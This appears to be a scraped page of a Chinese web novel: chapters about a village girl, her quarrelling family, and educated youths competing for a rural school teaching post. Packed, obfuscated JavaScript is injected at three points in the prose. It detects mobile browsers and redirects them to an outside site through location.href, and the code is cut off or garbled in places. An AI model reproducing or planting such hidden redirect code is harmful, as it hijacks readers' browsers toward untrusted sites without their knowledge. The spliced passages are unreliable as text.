“我三叔?那就是你的三哥。”陈灵儿懵懵的,话写在了脸上。家里常住人口她早记住了,村民也认的七七八八。 这三叔一家她还没见过。 陈青鱼骄傲的说:“嗯,我三哥是家里最聪明的,不是我瞎说,你俩见一面,三哥就能发现你身上的不对劲了。” 陈灵儿苦恼:“啊?那我怎么办,总不能一直躲着不见吧。” “不碍事,三哥那里我到时候去说。”陈青鱼松了口,“陈灵儿,你选择成为我们的家人,就希望你以后好好的。” 灵儿侄女回不来了,活着的家人还要继续生活。知道这事最难过还是从小相依长大的姐姐陈花花,她没想好要不要让花花知晓真相。 走一步算一步吧。 “嗯嗯。”陈灵儿乖巧点头,“小姑姑,你说我们要不要给妹妹立个碑或是立个坟啊?就当是留给这世上的最后一点痕迹。” 原身今年十三岁,她都二十一了,喊声妹妹不为过。按年龄算,小姑姑都要比她小一岁呢。 陈青鱼没想过这,觉得她说的有道理:“可以,这事慢慢来吧。” 两人谈话进入到尾声。 院子里响起李月的嗓音:“阿鱼,出来吃饭了。” “诶,好。马上。”陈青鱼高声应道。 李月转了一圈没见着老二家的小闺女,一脚踹向坐在屋檐下眼巴巴等着吃饭的刘招娣:“看什么看,灵儿呢?还没回来?” 刘招娣梗着脖子说:“我咋知道,这小妮子最近老躲着我,屁都看不到一个。奶,我就说丫头不能像你那样惯着,看看,这都啥时候了还不回家,肯定是皮痒痒了。” “灵儿还没回来?妈,我这就和二弟出去找找。”一旁的陈根立刻起身,拽起身边的二弟就往外走。 “啥?灵儿不在家?” 陈丰懵了。他和大哥刚到家还没休息多久,现在是半点都不想动弹。不过他好歹还知道灵儿是自己闺女,娶的婆娘不给力,他这当爹的就得多出力。 听到对话,陈青鱼连忙带着陈灵儿出来,“大哥二哥你们不用找了,灵儿在我这里。灵儿见我腰不舒服,就说进来帮我揉一揉。” 陈灵儿附和点头。 陈丰看到闺女,又一屁股坐了回去:“得嘞,我就说灵儿咋可能大晚上了还不回来,原来是跟小妹待一起。我闺女我还不知道啊。” 陈家人纷纷进堂屋吃晚饭,晚饭过后,男男女女洗澡乘凉后各自回了小家。 刘招娣拧着湿发坐在床边,见自家男人进来,去关上门说话。 “丰哥,我妈给我找了偏方,最近我都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其余几个老师也是住大队上的,这些天不少人走动。尤其是知青点的知青们,这要是能去小学教书,比去地里干苦力活轻松多了。老知青们也蠢蠢欲动。 各凭本事,没啥不好意思的。 这天下午,陈青鱼和几个老师在办公室闲聊,突然门口响起了敲门声。 “你们好,我可以进来吗?”特地收拾一番的韩文成站在那儿,一副彬彬有礼的模样。 陈青鱼第一眼还没认出他来,毕竟那天在山里她见到的是一张沾满泥泞的丑脸。现在这脸勉强能看,就是看着有些装装的。 李老师诧异看向来人:“进来吧。你是?” 韩文成微笑着走进来,将一篓有些焉巴的李子放在李老师跟前的桌上:“打扰了,我是最近来下乡的知青韩文成。” “我从小就敬佩老师这一工作,也很喜欢念书。之前就想来拜访一下为了孩子们未来辛勤教书的前辈们,可惜一直没有时间。今天一见,前辈们果真不同凡响。” 14. 14 韩文成一番拍马屁的好听话,听得陈青鱼浑身跟扎了刺一般难受。目的性过于明显,连她都能猜到这人此行的缘由。 别提旁边几位上了年纪的老师了。 但所谓伸手不打笑脸人。 周老师笑了笑,没接话茬。年轻些的元老师倒是经不住夸,眼里满满是对教师这一职业的自豪和骄傲。 陈青鱼没眼看,不做表情的垂下眼眸逗弄在桌边玩手的懵懂小孩。 星星开心的露出几粒小白牙,头发短短的发黄,像一颗毛桃。他很懂事的没发出声音吵到大人们的谈话。 李老师笑容慈祥,摆足了前辈的架子:“小韩是吧,下回想来学校看看尽管来,别带东西了。等下拿回去。” 绿得发青的李子,也不知道从哪个角落找到的。送礼都不知道送能吃的,这姓韩的知青怕不是说的真心话。 口是心非的小子啊,表面功夫都懒得做,并没有把他们几个老师放在心上。这种急功近利的年轻人,他这些年见的太多了。 韩文成还不知晓目的被看透,仍沉浸在表演中:“老师客气了,这只是我的一点心意。刚下乡手里头不那么宽裕,还希望老师们不要介意。” 面上还恰到好处的流露出一丝不好意思。 陈青鱼向来不委屈自己,抱起星星轻声对周老师说:“周老师,我带星星出去走走。” “好。青鱼,你不用一直抱着他,这孩子是实心的,我抱不了多久手臂都发酸。” 周老师嘴上说着这话,眼底对孩子的爱意不少半分。 陈青鱼捏了捏星星肉乎乎的脸颊,眉眼带笑:“哪有啊,我们星星这么可爱,小孩子是在长身体呢。” 她没和另外两个男老师多说。李老师还好,毕竟上了年纪,在老家结了婚有俩孩子; 元老师年轻,长得也不错,今年22岁,孤身一人。自他来大队当老师后,就成了适龄女儿家眼中的香饽饽。 元老师烦不胜烦,当众说了他现在没有要成家的心思。还让这些媒婆别来给他说亲了。 年轻男女走得近很容易传出风言风语,陈青鱼平时都刻意和他保持着距离,两人几乎没独处着说过话。 学校孩子多,这年龄段的孩子正是人嫌狗憎的时候,说话更是张嘴就来,想到啥说啥。 在陈青鱼起身说话那会儿,韩文成就注意到了她,宛如出水芙蓉般清丽美貌的女孩,笑容令他胸膛里的心脏嘭嘭直跳。 这是韩文成和陈青鱼的第一次正式碰面。 他目不转睛的盯着陈青鱼看,一瞬间竟忘了在场的其他人。 周老师瞥见他的目光,心生不悦的出声打断:“韩知青,你还有事吗?”这个知青也太没礼貌了些,怪不得青鱼那孩子要出去。 心里对韩文成的印象一降再降。 韩文成回过神,尴尬的结结巴巴说:“没,我没事了。我就是……” 不等他说完,周老师将李子塞过去,语气不由分说:“既然没事了,就麻烦韩知青离开。这里是学校给老师们办公休息的地方。” 元致,也就是元老师配合起身:“韩知青,我送你出去吧。” 本来对韩知青的感觉挺好,听他说话就知道是读过书的。没想着会用那么不加掩饰的恶心眼神盯着人家女孩子看,全然不顾及旁人在,一点都不礼貌。 还想再说点好听话的韩文成,就这样被强行带了出去。 走到看不见陈青鱼的地方后,元致不客气的说:“韩知青,就送你到这里了。” 韩文成在问女孩名字来历和问关于周老师二者间,选择了后者。他看着和他差不多年纪的元致,不由得挺直了腰杆:“元老师,我想问问周老师大概什么时候离开啊?” “我听村里人说,周老师下学期是教不了语文了的。我没有别的意思,就是马上夏收了,紧接着又是秋收,现在不考虑好之后可能时间来不及了。” 他可是为了孩子们着想,万一耽误了新学期的教学就不好了。 元致:??? 这人摆出一副理直气壮的样子,是给他看的吗?莫名其妙,脑子有病吧。 “韩知青,这是我们内部需要考虑的事情,就用不着你来操心了。如果我没记错的话,现在还没到下工的时候,韩知青你这是?” 元致懒得跟他弯弯绕绕,直白捅破表面的平静。一个来下乡的知青,还做出不可一世的嘴脸,看来是地里的农活干少了。 韩文成恼羞成怒,倒打一耙:“嘿,你这人怎么还生气了,我只是好心建议。就算我下学期来了你们学校替代周老师教书,也不会抢了你的工作。不可理喻!” 元致表情疑惑,开始怀疑对方听不懂人话了。 周老师人还在呢,这人就盘算着接替了。今天果然是不怀好意,他回去得和老师们好好说说,别一时心善中了韩文成的圈套。 “有病!”元致白眼一翻,甩手就走。 回到知青点的韩文成麻溜躺到了床上,至于做饭什么的,完全不记得了。 顶着烈日炎炎下工的知青们,回来后歇息喝水。 “这天儿也太热了吧,都快晒掉一层皮了。” “一年比一年热,去年我还记得六月左右下了好几场大雨,今年雨水少。” “习惯了就好。现在还不是最热的,七八月那才叫一个难受。下午两三点大家伙都不敢去地里。” “啊?乔哥,大队长他们能同意吗?” 乔然笑笑:“不只是我们,大家都一样。太热了身体受不了,大队长总不能看着大家为了粮食连身体都不要了。中午推迟一两小时去上工,晚上自然就晚些下工了。” 轮到做饭的女知青见几人聊得火热,随口问了句:“你们不做饭吗?一个个全坐着。等会儿我做好了你们可别眼巴巴望着啊。” “今天你们谁做饭?” “到点不自觉做饭的,还能有谁啊。”张忠怀阴阳怪气的说。 乔然头疼:“韩文成没回来?” “他又请假了,说肚子痛。”刘宏暴躁的一拳头捶墙上,“他咋毛病那么多啊,不是这痛就是那痛。” “乔哥,你是不知道今天我分去锄地的那大娘和我聊天,提到韩文成又偷懒请假的时候,我恨不得钻进土里去。丢死个人了,那大娘还笑着说,她家十岁的孙子一天挣的工分都比韩文成多了……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钟栋梁走进厨房,有意劝和:“刘宏就那性子,韩知青你别多想。让你分开,实在是无奈之选。这些厨具随你用,你尽量爱惜些便好。”他委婉的说:“韩知青,大家最近对你的意见很大。” 只差没明说,你韩文成就是个麻烦精了。 韩文成不领他的好意:“少在那儿假惺惺的,别以为我不知道你们在背地里说过我坏话。你们怕是早就想撇开我了吧。” 他余光看到独身一人的郁行,“早知如此,当初我就该和郁知青一样!”一群小人,待他得了小学那份老师工作,看这些人还能不能笑出来! 钟栋梁表面功夫做好了,不在意耳边闲言碎语。看了眼身形修长玉立的郁行,也没戳破韩文成的大话。 人郁知青当初花的那些钱,韩文成能拿出来三分之一都算他有本事。 郁行做了简单的饭菜,看都没看那群知青的热闹。这群人是死是活与他无关,但看到韩文成他想起了意外听村民说起的一件事。 他在犹豫,要不要去学校争取和陈青鱼当同事的机会。 如今这样,虽在一个大队,但能见面也全看运气。想到在前几日见到的所谓朋友,郁行眉眼间神色微冷。任何一种不愿看到的画面都不该在以后出现。 15. 15 林山大队不算大,满打满算也就两百多户人家。大部分聚集在村落,仅有少部分房屋零零散散的分布在周围,离村子并不远。 大队以陈王李三姓居多,不夸张的说,陈青鱼随便在路上碰到的村民都可能是亲戚。 三大姑八大姨什么的,能喊出她名字的长辈数不胜数,她压根就认不全。出门在外全靠一张笑脸顶着,没有李月带着她就一只知道吃吃喝喝的小废物。 “闺女,你大嫂的妈摔没了,我要和你大哥过去看能不能帮点啥忙。你要不要一起?” 得了隔壁大队前来报信的张家人消息,在地里的李月喊上老大两口子,回家拿东西还不忘喊小闺女一声。 陈青鱼在翻看学生们上交的图画作业,隐约能听见大嫂的哭声,小声催促:“妈,我不去了。你们赶紧去吧,大嫂那么难过……” “对了,妈,三个侄子那里要喊他们回来吗?” 李月叹了口气:“你大嫂不想耽误你大侄子就没喊,小天晚上会回来,这趟就带小跃先过去了。等晚点你大哥回来接小明。” 陈青鱼蹙眉:“这不太好吧。” 张老婆子这些年待三个外孙很好,陈张两家关系融洽,张家人见了陈青鱼也会笑眯眯的夸赞几句。 记得小的时候见了面,张老婆子还给过她压岁钱呢。 “唉,你大嫂有她自己的考虑。不说了阿鱼,妈先去了。”李月带着儿子儿媳匆匆离了家。 陈远放身为大队长,琐事颇多,没能第一时间过去。 老虎不在家,猴子称大王。 一早就知晓婆婆和大哥一家不在家,刘招娣一回来就满院的大声嚷嚷,恨不得把所有人都叫出来。 “陈花花!陈花花!” “陈灵儿!” “你俩又死哪儿去了,看不见老娘回来了吗?赶紧出来干活,想累死老娘啊。” 擦着汗水的陈灵儿和姐姐一路躲在阴凉下,还没到进院门就听得刘招娣那尖锐的嗓音隔墙传出。本就晒得焉巴巴的,更不想进去了,没迟疑的拽着陈花花在房屋侧边的屋檐下蹲着。 “嘘,姐,累死我了。我们先在外边休息会儿再回去,好不好?” 陈花花哪有说不好的机会,直接就被拽着一屁股坐下了。汗水浸湿了额角发丝,一缕一缕的,脸颊晒的发红。 “灵儿,要不我们还是赶快回吧。” 她没歇几秒钟,就坐立不安了。边说着边警惕的看着不远处的院门,生怕刘招娣忽然出来看到两人躲在这里乘凉。 陈灵儿自从跟陈青鱼坦白交心后,就明里暗里的开始摆烂了。没分家,这家里就是爷爷奶奶说了算。 爹妈不管事,那就躲着避着呗,又讨好的必要。当乖女儿只能得到来自亲妈的谩骂和拳头和亲爹嘴皮上的关心。还不如去当乖孙女呢,有爷奶护着,那才是掌握未来命运的根本。 可惜今天奶不在家了,指定一进家门耳根子就不得安生。 陈灵儿傻了才会在这时候进去,能在外面待多久是多久。她安抚陈花花:“姐,你想挨骂吗?” “不想啊。”陈花花不明白,但诚实。 “姐,那你想挨打吗?” “也不想。灵儿,你咋了?”陈花花摸摸妹妹额头,没发烧啊,怎么还说上胡话了。 陈灵儿双手一摊:“那不就得了,我也不想挨骂挨打,那我们现在回去干嘛。等爷和爸回来,我们再一起进去。他们问起来,我就随便找个借口。” 陈花花眨眨眼,妹妹好像说的有道理诶。 那就在外边坐会儿? 姐妹俩靠着墙,听着院内不停的骂声,却是内心难得的宁静。 陈灵儿侧头看着陈花花瘦削的侧影,“姐,你怪过我吗?当年要不是我先说出不读初中了,你也不会读了一学期就跟随我一起没读了。” “傻妹妹,你胡说什么呢。这怎么能怪你,我是喜欢读书,但读书跟你比起来不算啥。”陈花花露出浅浅的笑,“我在家也能看书的,小姑姑初高中的课本在家里,小姑姑也愿意借给我看。” 或许刚决定不读书的那十天半个月,她心里有过不甘。爷爷奶奶都说愿意让她念书,为什么爸妈反而不同意呢。 后来就想明白了,去学校读书只是有老师和教室。她在家除了没有老师,别的一样不缺。 “灵儿,你是我的妹妹。以后不许再说这些话了,知道吗?” 陈灵儿心头莫名酸酸的:“姐,你想回去读书吗?我是说如果现在摆在你面前,能去学校念书,你会去吗?” 陈花花目光缓缓移向亮的发白的天空,有些刺眼:“不知道。”她远远看到两道高大身影朝这边走来,起身后一把拉起妹妹:“他们回来了,我们也该回去了。” 陈灵儿不动,还死死抱住了她的胳膊。 “花花,灵儿,你们在外面干什么?”陈远放不理解的看着俩孙女,大热天的不回去。 真是年纪大了,越发摸不透孩子们的想法了。 紧接着消停了没一会儿的刘招娣嗓音传出来,陈远放一个头两个大,猜到孙女们宁愿在外边待着也不愿回去的原因了。烦的一脚踹走在身侧的老二小腿上:“你那媳妇能不能管管??整天瞎嚷嚷像什么话,这是你亲生的闺女,平时上点心成不?” 别看他一把年纪了,头发白了不少,手脚力气丝毫不减壮年。老子摊上你们这群小的,都要少活好几年。 陈丰躲闪不及,又不想在闺女面前丢了老父亲的脸面,硬生生忍下腿上的疼痛。 “爸,她就那样,我说了千百次也不会改的。花花和灵儿都大人了,我还能咋管着。再过几年都要嫁人了……” 陈远放气得在他另一条好腿上再踹一下:“陈丰!你,哎,我那孙女摊上你们这么个爹妈真是遭了罪了。” 怎么也想不通,他和李月咋就生了这么个不着调的老二。 从小到大,老二过的都跟混日子一样,没一丝上进心。给啥都吃,没床睡地上也能睡着。几乎从没跟他们提过要求,唯一有主见的事,便是主动央求要娶刘招娣。 夫妻俩咬咬牙凑钱给了刘家彩礼钱,原想着有了媳妇后,小两口会好好的过日子。结果老二本性没改不说,娶回来的儿媳妇也是搅事精。 陈丰被踹的差点栽倒:“爸,我闺女还在看着,你就不能给我留点面子吗?” 幸好没在闺女面前摔个狗啃屎,要不然他这张老脸都丢没了。 陈远放懒得看不争气的老二,走到孙女跟前,“走吧,有爷爷在,你妈不敢骂你们。你爸那个不争气的东西,你们长大以后别学成他那样了。” 而立之年的陈丰,被亲爹骂的狗血淋头也不敢回嘴。疯狂向闺女们使眼色。 陈花花没注意,陈灵儿看到了当没看懂,慢悠悠转回去了。 刘招娣就是纸扎的老虎,看到陈花花和陈灵儿进来张嘴就想骂‘死丫头跑哪儿去了’,话刚到嘴边后面的男人出现了。 “老二媳妇,花花和灵儿是有做错事?还没进门就听到你在骂她们。”陈远放板着一张老脸,很是唬人。 刘招娣苦笑着打哈哈:“没,没,我就是见她们还没回来,太担心了。” 陈远放语重心长的说:“花花和灵儿是你们的孩子,俩孩子也不小了,当父母平日多花些心思。我陈家是给孩子买不起衣服了?看看花花身上的衣服,你们这些个当爹的当娘的,当真是眼瞎看不到吗?” 男主外女主内,光是大队上乱七八糟的烦心事就不少了,家里有老婆子管家,他很少操心小辈们的琐事。 除非是实在看不下去了,比如说现在。 陈丰和刘招娣唯唯诺诺说‘是’,不敢多顶嘴一句。 陈青鱼从屋里出来,没参与二哥一家的话题:“爸,小明和小天啥时候能赶回来?” “小明说接小天一起,应该在回来路上了。他们去过那边,会直接就过去了。”陈远放看到小闺女,老脸不禁温和几分,“阿鱼,饿了没?” 转头就变脸:“老二,老二媳妇,饭呢?” 再度被点名的陈丰头皮发麻,斜眼瞪向一天天净给他惹事的女人:“看什么看,没听到爸问饭呢。没做好老子揍你。”说着狠话,陈丰确实没朝刘招娣动过手。 毕竟当年自己亲口讨回来的媳妇,咬着牙也要忍下去。 “爸,爸,饭在锅里,马上就好了。”刘招娣老实了,连忙跑向厨房准备端着午饭。一时间连唤闺女帮忙都忘了。 —— 张老婆子的丧事办得简单,陈青鱼到底也去了一趟,送老人家最后一程。 张家人重情,一大家子人感情很好,好几个小辈都悲痛过度晕厥过去。张慧和哥哥张林忍着悲痛撑起混乱的张家,完成了妈的后事。 结束后,李月带着陈青鱼先一步离开,三个小的有亲爹妈在用不着她来管。 “妈,你先回去吧,我想慢慢走回去。”快到村口时,陈青鱼情绪不佳,有气无力的说。 李月发觉闺女有些不对:“咋啦?阿鱼。”该不会是在张家食物吃杂了,看这没精打采的。 陈青鱼扯出一抹笑:“没怎么,我就是走累了。妈你别管我,这点距离你还怕我找不到回去的路啊。” 这话没毛病,李月望了眼不远处的村庄,田地里庄稼快成熟了。黄黄绿绿一片片,预示着今年又是好收成。 她笑眯了眼,拍拍已经坐在路边石块上的闺女:“行,阿鱼你歇着吧。天热,早些回去,别晒坏了。” 陈青鱼对老妈的过度关心时常烦恼,她明年就二十岁了,在爸妈眼中她仿佛还是个出门会被一颗糖拐跑的小孩儿。出门都巴不得把她栓裤腰带上,随时盯着嘱咐着。 “哎哟,妈!我又不是傻子,天热了我知道回家的。” 陈青鱼胳膊肘顶在屈起的膝盖上,双手撑着下巴,嗔怨道:“我是大人了。先前要是相亲成功,说不定现在我都结婚,成别人家的媳妇了。” 李月不甚在意:“你结婚了又咋了,难道就不是我闺女了?阿鱼,你先是我亲手养大的闺女,才是别人家的媳妇…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15804029|174579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陈青鱼一听这长篇大论,就知道自己又在不经意间触发老妈的被动技能了,这接下来不知道又要念叨多久。翻来覆去都是那些话。 赶紧打断,“妈妈妈,别说了,放心,我一辈子都是你闺女不会改变的~” 论一句话哄得李月心花怒放,歇了说教的心。转身去野草丛生的山沟里摘了片巨大的芭蕉叶,“拿去顶着,热了晒风。” 陈青鱼把芭蕉叶分成两半,“妈,这半边你路上用。” 李月笑容满面的扇着芭蕉叶走了。 山林间鸟雀声不断,此起彼伏,感觉清风都要比村里的轻快凉爽一些。 陈青鱼靠在褐色老树干上,偶尔吹来一缕清风,眼皮子不知不觉间就开始打架了。勉强打起精神,乌龟似的慢吞吞回了家。 走到一半,突然拐角处跑出来一个人。幸好她闪的快,差点就撞上了。 “陈同志,没摔着吧?” 嗓音有点耳熟,陈青鱼抬头看去,在看到韩文成那张脸微微蹙了眉。怎么是这人? “没有。”她神色淡淡的说。侧身就想走。 韩文成超绝不经意的拦路,以为她忘了,摆出帅气的笑容:“陈同志,你还记得我吗?我们前些天见过的。”还好心的补充:“就那天我去学校拜访几位老师。那天太匆忙,没能好好和你打声招呼。” 那之后的第二天,他就弄清楚了在学校见到的女孩是谁。原本有五分欢喜,在得知对方竟是大队长家备受宠爱的小闺女,瞬间变成了十分欢喜。 若是他能得到那女孩的青睐和喜欢,长得不错,有陈家做岳家,那他岂不是就能不用再干这些累死人的粗活了? 说不定还能早早回城,离开这脏乱差的破地方。 这几日在路上来来回回,终于让他等到了偶遇的这一天。 “哦。”陈青鱼轻飘飘的应声。 韩文成没料到会是这反应,打的他措手不及。他攥紧了手掌,所谓舍不着孩子套不着狼,给出带下乡一直没舍得吃的水果罐头。 “给你。” 韩文成温柔的说:“陈同志,那天一面后我总想着能再见你。盼了好些天,今天终于实现了。我能唤你一声青鱼吗?你名字很好听,跟你一样俏丽清秀。” 陈青鱼听过无数夸赞和赞美,很多时候都无动于衷、习惯了,但韩文成的几句话硬是激起了鸡皮疙瘩,头皮发麻。 受不了了。 她退后两步,冷酷拒绝:“不能,韩知青,我们不熟。” 咋回事,她都没按小说原剧情走了,这韩文成居然主动找上门来了。没感觉错的话,姓韩的应该是在勾搭自己吧? 陈青鱼不懂书里的自己怎么就眼瞎看上了韩文成,但现在的她,只觉得韩文成假心假意的,神态和说话语气令她有些想吐。 韩文成迎难而上,微笑不改:“这是水果罐头,很好吃的。青鱼,你可以尝尝,以后我再给你带其它的。” 陈青鱼躲开他伸来的手:“我说了我不要,韩知青,你这是在干什么?” 奇怪,怎么一个两个都喜欢送她吃的。难道她在大家眼中的形象是个贪吃鬼? 啧,服了,到底谁给她传出去的,坏她名声。 “我不想和你说话,也不想和你当朋友。”陈青鱼不客气的明说,“以后少来跟我说话,韩知青,有这说闲话的功夫,你还不如去地里多挣几个工分。少让我爸为你惹出来的一堆破事劳神烦心。” 这话十分不给面子,让韩文成老脸臊热得慌,内心恼怒不已,但还得维持表面的平静。 “陈同志,我没有惹事。我身体不好,干不了重活累活,不得已才多次跟大队长请假的。” “这事我之前就和大队长说过了,想麻烦队上给我安排一些轻松的活计。可能是大家对我有些误解吧……” 三言两语就把责任推到别人身上了,这男主惯会耍嘴皮子。 陈青鱼无语:“你说你有病,那你倒是把医院开出的诊断书拿出来给大家看啊,这样大家就不会冤枉你了。韩知青,你说是吧。” “拿不出来还好意思怪在我们头上,你们知青是下乡来为祖国做贡献的,不是来享福的。” 韩文成低下了头:“是我的错,怪我身子不给力……” 眼前阴影没了,抬头就看到了陈青鱼果断决绝的纤细背影。 这次来,不仅没和陈青鱼交好,还屡次被下了脸面。一个小村姑居然把他的脸踩在地上,着实可恶! 要不是她有大用处,韩文成绝对不会多看她一眼!长得再漂亮又如何,换在以前,他韩文成都不会多看一眼。 韩文成眼底满是愤恨和不满,心里充斥着对陈青鱼的势在必得。等他回城那天,看这姓陈的一家还怎么在他面前嚣张的起来。 到时候就算他大发慈悲,愿意带上陈青鱼回去。 只要回去了,孤身一人的陈青鱼还不是只能乖乖听他的话。 想到这里,韩文成嘴角勾起得意洋洋的笑,仿佛整个陈家已经成为他的手中囊物。 16. 16 火热忙碌的夏收堪堪进入尾声,知青点的知青还没来得及松口气,就马不停蹄的准备着小学教师的考核。 民办教师虽转正名额稀少,但对知青们是个再好不过的工作。连只念过小学的几个知青都想要争取一下。 想着万一运气加身成功了呢。 一时间,知青点内的矛盾减少,都没空没心思管这些烦心事。韩文成折腾就折腾吧,反正也上不了天。 小学教师考核一事,事关林山大队,陈远放自是知晓在内的。这天,听闺女在和老婆子吐槽那些个不安分、想使伎俩的知青。 “简直没脸没皮了。阿鱼,你没被乱搭话吧?这事我不好管啊,得空我去找李老师谈谈。再警告一番这些知青。” 陈青鱼知晓爸妈对韩文成都没好印象,不想他们再为多一事忧烦就没说这人三番五次的刻意制造偶遇。 “没,有爸妈在,他们才不敢呢。就算有,我也应付得了。”她笑嘻嘻的说。 李月纳着鞋底:“阿鱼,那些知青都要参加考核吗?那你们怕是要忙起来了吧。造孽哦,可别让那糟心的选上就成。” 陈远放语气肯定:“韩文成还不够格。别看那些知青一个个手不能提的,读书的不少。”他又问闺女:“郁知青报名了吗?” “嗯嗯,有他。” 陈远放笑着点头:“那就对了,这次不出意外,那名额就是郁知青的了。他学历最高,和你三哥一样都念过大学,只是这消息被压下去了,基本上没什么人知晓。” 陈青鱼嘀嘀咕咕:“啊?他这么厉害啊,海市的大学应该很难考上吧。这样都下乡了,不知道他究竟是遇到了多大的麻烦。” 耳朵尖的李月听清了闺女的呢喃,心里默想:阿鱼怎会知道郁知青是海市人?看来两人有过不小的交集。 不过不碍事,郁知青是个好的,闺女能学到点上进的也不错;即使郁知青心口不一,那他也是在林山大队,是她男人管辖的地界,能护闺女周全。 “爸,李老师他们知道郁行读过大学吗?” “知不知道不重要,郁知青能用实力证明就成。闺女,你对郁知青很关心?”陈远放提取到重点。 陈青鱼无辜脸:“哪有,我就是随口一问。郁行可能是我未来的同事,我关心关心。” 陈远放半信半疑:“那郁知青虽然各方面优秀,但这人心思复杂深沉,身后家庭也不简单。阿鱼,爸知道郁知青长得好看,你多看看没事,别和他扯上关系了。” 他家闺女没心没肺惯了,哪玩得过这种心眼比藕洞还多的小子。 欣赏欣赏还成,来真的不行。 “知道啦知道啦,我懂的。我就是玩玩,不会当真的。”陈青鱼说着回味起了巧克力的那一抹甜,嘿嘿。 陈远放和李月听着咋感觉哪儿不对劲,夫妻俩对视一眼,还是没发觉不对的地方。罢了罢了,有他们在,阿鱼爱玩就玩吧,左右不会出什么大事的。 几日后,考核结束,知青们有的说笑离开,有的神情凝重。 不出一日,结果就出来了。 “这试卷答的太好了,让他来教一群小孩读书简直是大材小用了。不夸张的说,就是去县城教高中都绰绰有余啊。” 周老师拿着那份满分试卷,神情激动的叹道。 满分试卷不是周老师一人决定的,而是经过全部老师定下的。就连李老师也别无二话,眼中惊叹不已。 陈青鱼的关注点在那一手好看的字体上,低头再看看自己那小学生字体,小脸嗖的下就垮掉了。这字咋写出来啊,她也想练。 “把试卷张贴在室外墙上,正好让那些个自傲的人见识真正有实力的人才。”李老师说。 不用想,都知道那些知青会有异议。 元致拿起试卷走出去:“我来贴,保证贴的板板正正的。郁知青是哪位我都忘了,你们都认得这人吗?” “长得最好看的那个。”陈青鱼说着大实话,“这下你该想起了吧。” 元致:…… “男人都一个样,我关注这个干什么。”他还真没注意这个。 周老师笑道:“既然这事定下,明日我就该走了。元老师和青鱼,这消息就你俩去知青点通知一声吧,最好让郁知青下午过来一趟,我有些事情需要交代一下。” “好。” 陈青鱼和元致异口同声的应道。 暑假期间,学校没有叽叽喳喳的小学生,很是安静。 待大队喇叭声响起,两人一前一后的离开了学校,朝着对面的知青点走去。下工的知青们陆陆续续的回来,见到站在院外的两个年轻老师。 面上难掩欣喜的围上前,你一句我一句的追问: “元老师,是出结果了吗?” “是谁啊,快说快说,我上工都没心思了,一直惦记着这事。” “青鱼,你是特意来通知我的吗?”韩文成煞风景的声音从中钻出。 众人瞪大眼睛,渐渐没了议论声,熊熊八卦之心环绕在陈青鱼和韩文成之间。心里纳闷极了,这两八竿子打不着的人怎么凑一块去了? 陈同志是眼瞎了吗? 远远而来的郁行,一眼瞧见正中心的女孩,默默加快了脚步。尽管他有十足的把握,但这一刻还是多了丝忐忑。 看不顺眼韩文成的不止一人,不等陈青鱼作出反应,元致就挡在了中间,隔绝韩文成恶心巴巴的窥探视线。 他一脸嫌弃的说:“谁说是你了,就你那成绩连一半人都比不上,还想成第一名呢。” 周围人没憋住噗嗤笑出声。 韩文成脸色涨红,“你!休要侮辱我。我不可能考这么差,你再戏耍我信不信我去告诉大队长,让大队长给我做主。” 刘宏嗤笑:“哟,还想着大队长给你做主呢,大队长不烦死你都算人家好脾气了。”他就是那个想搏一搏运气的知青之一,但考完后就知晓不可能了,转头嬉笑着问:“元老师,陈老师,赶快公布结果吧,免得某些人还想着做美梦呢。” 陈青鱼无意一个抬头,就和走近的郁行对视上了,浅笑着说:“人来了。” 知青们齐刷刷的循着她的视线看去,挡路的很自觉的让开了一条路。 “是郁知青?”乔然惊呼。 下一秒对这结果好像能接受了,输给他也不算丢人。 陈青鱼说:“郁知青的试卷张贴在办公室外的墙壁上了,你们有异议的话可以去看看。” 见郁行走到跟前,“恭喜。郁行,周老师说让你下午来学校一趟。” “我知道了。” 得知最终人选后,有些知青不相信这结果前仆后继的跑去了学校。 其他知青也尽数散开,歇息的歇息,做饭的做饭,闲聊的闲聊。 院门外只剩下陈青鱼、郁行和元致三人。气氛尴尬起来,元致莫名觉得自己该走了,这地儿不适合他待下去。 挠挠脑门,试探出声:“陈老师,郁知青,那我先走了,你们聊?” “好。” 元致麻溜离去,直觉告诉他郁知青来学校共事后,他大概是不愁吃了。 郁行先声道:“青鱼,谢谢你特意来通知我。以后我们就是同事了,有不懂的还希望青鱼能多帮帮我。” 陈青鱼笑不出来:“不呢,你可是满分试卷呢。你不懂的,我就更不懂了。”不高兴,有学霸在前,让她知道自己有多笨了。 陈花花学习很厉害,不知道以后能不能比过。 郁行面上不见涩意:“我很少接触小孩,也没教过他们。在这方面,青鱼比我厉害,有经验。” 陈青鱼被夸的昂起了下巴,眼眸得意的发亮。哼,那是,她可得小孩子们喜欢了。教小学生不在话下,一个个乖的不像话。 “行吧,以后有学生在课上不听话你跟我说。保准给你训的乖乖的,但说好啊,如果是你教学不得他们喜欢,那我就帮不了你了。” 她又不是天天给人擦屁股的老妈子,偶尔一次两次帮忙还行,一直有麻烦很烦的好吧。 “嗯。”郁行自是应好。 陈青鱼想了想好像没话说了,爸妈还在等她回去吃饭呢,“那我走啦?” 